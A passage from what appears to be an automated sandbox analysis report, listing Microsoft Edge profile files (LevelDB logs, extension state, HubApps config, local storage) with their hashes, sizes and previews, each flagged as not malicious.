SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324620048282245
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6R/:C1gAg1zfvn
MD5:	1818A4E91040423729A58C70C412602A
SHA1:	1EF3DB66B857BEF8C2E3B9D3B0DB5114F74BBB99
SHA-256:	045D6199D7D09E32063E687F204B142657517850A6410623B9943943BD984B1A
SHA-512:	D2FD5222858AB48BAE2C4FA168F5FC317050D919991EC57129F110496BB7A993256321574E0C6F1918ECB49F0C0144449B005A74FF6B136F6282D6B644CF1161
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.208251137477849
Encrypted:	false
SSDEEP:	6:HXb+q2P923oH+Tcwt8aPrqIFUt8GXiZZmw+GXKw3VkwO923oH+Tcwt8amLJ:HXb+v4YebL3FUt8GXiZ/+GXN3V5LYebc
MD5:	C14C2BEF4C1E21336362F7D0C4931FB6
SHA1:	C82747FDB1DC29C0C7DA91E3DEB8756728ADB09C
SHA-256:	0F90204325317678FE8C9B7B2835B709D2120433504927257A039FD55323B47F
SHA-512:	214D76A5452C83AEE9A56D6BD56F5E73691E9E6EE46852360792C230D54BF6D96E641E566DD8482E8872C0C002B5904EB8CBA4980622461AEDA2CEF964E4318F
Malicious:	false
Preview:	2024/12/28-23:45:27.771 16dc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/12/28-23:45:27.772 16dc Recovering log #3.2024/12/28-23:45:27.773 16dc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.208251137477849
Encrypted:	false
SSDEEP:	6:HXb+q2P923oH+Tcwt8aPrqIFUt8GXiZZmw+GXKw3VkwO923oH+Tcwt8amLJ:HXb+v4YebL3FUt8GXiZ/+GXN3V5LYebc
MD5:	C14C2BEF4C1E21336362F7D0C4931FB6
SHA1:	C82747FDB1DC29C0C7DA91E3DEB8756728ADB09C
SHA-256:	0F90204325317678FE8C9B7B2835B709D2120433504927257A039FD55323B47F
SHA-512:	214D76A5452C83AEE9A56D6BD56F5E73691E9E6EE46852360792C230D54BF6D96E641E566DD8482E8872C0C002B5904EB8CBA4980622461AEDA2CEF964E4318F
Malicious:	false
Preview:	2024/12/28-23:45:27.771 16dc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/12/28-23:45:27.772 16dc Recovering log #3.2024/12/28-23:45:27.773 16dc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.239105225577546
Encrypted:	false
SSDEEP:	6:HXTN+q2P923oH+Tcwt865IFUt8GXMwXZmw+GXMw3VkwO923oH+Tcwt86+ULJ:HXx+v4Yeb/WFUt8GXMc/+GXMcV5LYebD
MD5:	43B27552FDC6BA76710E393A2B3519A6
SHA1:	9385009B4072F14D48DD039D7F9F65804CC1EFD7
SHA-256:	FAEC55C5067DEFB589E7C4CD4AEED14DA4182CC7CDB7FC1A582B6ED8519AC27E
SHA-512:	F780C6227FB1D16AB11D3BD83F368C6FA8366066FE7B9D3BB7F6E40103280AE3D48BD8DBE72DDFBF18CBCBDA34DD4DF6BDDD71B745040CBC516EE6DE604618DF
Malicious:	false
Preview:	2024/12/28-23:45:27.777 16dc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/12/28-23:45:27.779 16dc Recovering log #3.2024/12/28-23:45:27.779 16dc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.239105225577546
Encrypted:	false
SSDEEP:	6:HXTN+q2P923oH+Tcwt865IFUt8GXMwXZmw+GXMw3VkwO923oH+Tcwt86+ULJ:HXx+v4Yeb/WFUt8GXMc/+GXMcV5LYebD
MD5:	43B27552FDC6BA76710E393A2B3519A6
SHA1:	9385009B4072F14D48DD039D7F9F65804CC1EFD7
SHA-256:	FAEC55C5067DEFB589E7C4CD4AEED14DA4182CC7CDB7FC1A582B6ED8519AC27E
SHA-512:	F780C6227FB1D16AB11D3BD83F368C6FA8366066FE7B9D3BB7F6E40103280AE3D48BD8DBE72DDFBF18CBCBDA34DD4DF6BDDD71B745040CBC516EE6DE604618DF
Malicious:	false
Preview:	2024/12/28-23:45:27.777 16dc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/12/28-23:45:27.779 16dc Recovering log #3.2024/12/28-23:45:27.779 16dc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.18457947160681
Encrypted:	false
SSDEEP:	6:HXfTt9+q2P923oH+Tcwt8NIFUt8GXKXZmw+GXKKVkwO923oH+Tcwt8+eLJ:HXfTt4v4YebpFUt8GXKX/+GXKi5LYeb2
MD5:	2A21772C9B667F5EE7C3F518FA53A536
SHA1:	23D6C459CF9E06147845D400F9C0F7DDC6620A06
SHA-256:	71CB3966885814C1203782AEE54377A5EBD3E2C6D5CE40624D85E7458CE78840
SHA-512:	B770F58B415C44210CCFA292E2107EC86E3624EB24AC78FDD9B70250A0C924501D3DCAC48B153F4E6A8E5D52D0B776B69FF8773FD1D521B7B60E378355EC7C78
Malicious:	false
Preview:	2024/12/28-23:45:28.477 738 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/12/28-23:45:28.508 738 Recovering log #3.2024/12/28-23:45:28.509 738 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.18457947160681
Encrypted:	false
SSDEEP:	6:HXfTt9+q2P923oH+Tcwt8NIFUt8GXKXZmw+GXKKVkwO923oH+Tcwt8+eLJ:HXfTt4v4YebpFUt8GXKX/+GXKi5LYeb2
MD5:	2A21772C9B667F5EE7C3F518FA53A536
SHA1:	23D6C459CF9E06147845D400F9C0F7DDC6620A06
SHA-256:	71CB3966885814C1203782AEE54377A5EBD3E2C6D5CE40624D85E7458CE78840
SHA-512:	B770F58B415C44210CCFA292E2107EC86E3624EB24AC78FDD9B70250A0C924501D3DCAC48B153F4E6A8E5D52D0B776B69FF8773FD1D521B7B60E378355EC7C78
Malicious:	false
Preview:	2024/12/28-23:45:28.477 738 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/12/28-23:45:28.508 738 Recovering log #3.2024/12/28-23:45:28.509 738 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:ij9tFlljq7A/mhWJFuQ3yy7IOWUVjtdweytllrE9SFcTp4AGbNCV9RUIx:sG75fOLBd0Xi99pEYH
MD5:	DBFBB1DD3BB69AFC92D02E86AB050150
SHA1:	5BEBC35FCB1F9DC310426A865347BFC2DF8BF4C1
SHA-256:	395053AA60CCFC6E25A66B5258BCF42F3CF687FC713C24FC1D4523811C889FE7
SHA-512:	66A02D8912FCC3E69511D6CDDE155186170772515EEC266C418E3B9D1F3F6C20F4196BDEE7BF0D1AFCDDE3E750E1818757367B5E47AFE38907715AE79332EA48
Malicious:	false
Preview:	..................&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6480954097854115
Encrypted:	false
SSDEEP:	384:aj9P0xjlGQkQerR773pLQP/Kbt1cChCgam6ItRKToaAu:adelGe2R7KP/jCv9RKcC
MD5:	48CF3F9890BD580AD614215918105B9D
SHA1:	C1F496AEA2FFB72F4F55FEF2D5CBB7F8F38A2B06
SHA-256:	999312859F9DC69FA8AAAB208821EB0E7F2995E1FCC8166D81943D073DFA241A
SHA-512:	D0C3CD83CB009F22C1C1DFA79E5E4AC20331600B05CC686085BA56BAE30EB921B42DBC7DEF355A6A51A9B36DDC60B2AFAA5617CB2FA319D0FD698F7FD1D53B80
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	405
Entropy (8bit):	5.304284046294945
Encrypted:	false
SSDEEP:	12:HwUv4Yeb8rcHEZrELFUt8Gwk/+GwE5LYeb8rcHEZrEZSJ:H4Yeb8nZrExg88LYeb8nZrEZe
MD5:	694CA2F2541866B1C85F39374468D494
SHA1:	0C11C7D01680CA6207EFFB095AAE650276A7436B
SHA-256:	30EEF6ACADE7C0976B9F544F51BAFE0FD8D37D6EA07F0A1F14CC9AE283FE8C87
SHA-512:	80A524880AF5ADCFB61C39E126E26B88B7FDAD2090D8CC98FE38720749D87B19EBB1EE430DAE61B5DBEE175DF842790882B861E5062CF4CE764C4E8F60051299
Malicious:	false
Preview:	2024/12/28-23:45:31.508 738 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/12/28-23:45:31.509 738 Recovering log #3.2024/12/28-23:45:31.509 738 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	405
Entropy (8bit):	5.304284046294945
Encrypted:	false
SSDEEP:	12:HwUv4Yeb8rcHEZrELFUt8Gwk/+GwE5LYeb8rcHEZrEZSJ:H4Yeb8nZrExg88LYeb8nZrEZe
MD5:	694CA2F2541866B1C85F39374468D494
SHA1:	0C11C7D01680CA6207EFFB095AAE650276A7436B
SHA-256:	30EEF6ACADE7C0976B9F544F51BAFE0FD8D37D6EA07F0A1F14CC9AE283FE8C87
SHA-512:	80A524880AF5ADCFB61C39E126E26B88B7FDAD2090D8CC98FE38720749D87B19EBB1EE430DAE61B5DBEE175DF842790882B861E5062CF4CE764C4E8F60051299
Malicious:	false
Preview:	2024/12/28-23:45:31.508 738 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/12/28-23:45:31.509 738 Recovering log #3.2024/12/28-23:45:31.509 738 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.655011867522359
Encrypted:	false
SSDEEP:	48:KZDoUfARc7/Qu69XZJVpV03Sx4aybtPR7AHHk2GJ348ylsT:KKSdwNpusdP8osT
MD5:	32866582746A51BF18E07043B9C686E9
SHA1:	F0D73DF1B0BA1E5A9CA1235115F7DD21A6C46F13
SHA-256:	92CD94838807D132FE7C896CB83D15960553FB58EEE8FB8622238B18801E2720
SHA-512:	D41A6A544444EB4BD1DA3EE5CC8D01EA125AB609F41941F7D0FEA3A685095B64C99865A7750650820C2CC800A683FC46B603B3A60CA18A686F039EB3F734EDC4
Malicious:	false
Preview:	P]...................VERSION.1..META:https://ntp.msn.com.............!_https://ntp.msn.com..LastKnownPV..1735447543092.-_https://ntp.msn.com..LastVisuallyReadyMarker..1735447544009.._https://ntp.msn.com..MUID!.1005AEB16EB26DA20238BBD56F1A6CB7.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1735447543182,"schedule":[40,-1,35,-1,-1,4,-1],"scheduleFixed":[40,-1,35,-1,-1,4,-1],"simpleSchedule":[25,18,20,17,19,11,46]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1735447543056.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241220.456"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Sat Dec 28 2024 23:45:42 GMT-0500 (Eastern Standard

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.138883737850918
Encrypted:	false
SSDEEP:	6:HXe+/q2P923oH+Tcwt8a2jMGIFUt8GXebZmw+GXeziRFkwO923oH+Tcwt8a2jMmd:HXe+/v4Yeb8EFUt8GXeb/+GXe65LYebw
MD5:	01422FC3E0E64DE73E0DFEC5AE1DB456
SHA1:	5EA0639183EE9FF1C8DDD1E68C2AA2CDBDB062B4
SHA-256:	9E20B09EDEDA4BD197AA7D4F02801AE73D9F1AFCBEC59ED4C6047119210822BC
SHA-512:	9C3D31F60E98EF8A9A2895B7C5E978E53EEB5645933146499F74E9275CCA2A710974BC0E025DC3D49623056EC95571C1EFBB9E75927744FD8D30125403C4319D
Malicious:	false
Preview:	2024/12/28-23:45:28.102 1d14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/12/28-23:45:28.104 1d14 Recovering log #3.2024/12/28-23:45:28.107 1d14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.138883737850918
Encrypted:	false
SSDEEP:	6:HXe+/q2P923oH+Tcwt8a2jMGIFUt8GXebZmw+GXeziRFkwO923oH+Tcwt8a2jMmd:HXe+/v4Yeb8EFUt8GXeb/+GXe65LYebw
MD5:	01422FC3E0E64DE73E0DFEC5AE1DB456
SHA1:	5EA0639183EE9FF1C8DDD1E68C2AA2CDBDB062B4
SHA-256:	9E20B09EDEDA4BD197AA7D4F02801AE73D9F1AFCBEC59ED4C6047119210822BC
SHA-512:	9C3D31F60E98EF8A9A2895B7C5E978E53EEB5645933146499F74E9275CCA2A710974BC0E025DC3D49623056EC95571C1EFBB9E75927744FD8D30125403C4319D
Malicious:	false
Preview:	2024/12/28-23:45:28.102 1d14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/12/28-23:45:28.104 1d14 Recovering log #3.2024/12/28-23:45:28.107 1d14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\29d47fb4-f7cd-46e2-b835-0d4f393de192.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\2e5bcb9f-716d-4b22-8177-1fd946c9f9e0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\884b911a-b082-4e96-91a6-71b0693275e1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1664
Entropy (8bit):	5.3186924039552625
Encrypted:	false
SSDEEP:	24:YcFGJ/I3RdsgZVMdmRdsvZFRudFGRRdsoZ6ma3yeesw6maPsw6C1VdsBZC52HMby:YcgCzsgtsRfcKs4leeBkBRsHCgHMbx9+
MD5:	2B6F46548A71A92B940B03A6F86ED45B
SHA1:	394D89F3239D3E8149566433AFF7C0558E148D24
SHA-256:	286F884ADA011C0EE7C9F816F31E7589C80D1F0A009F29F2E0FA99562E45EB28
SHA-512:	618EF020E8767217D155D2C1925F24550870C2D53EBF1FCB59FFE0D0A4B55417F04463EE039FBAE8F69AE167052CB8E2B6A2A6A3FF033375B7851FBB88CA247A
Malicious:	false
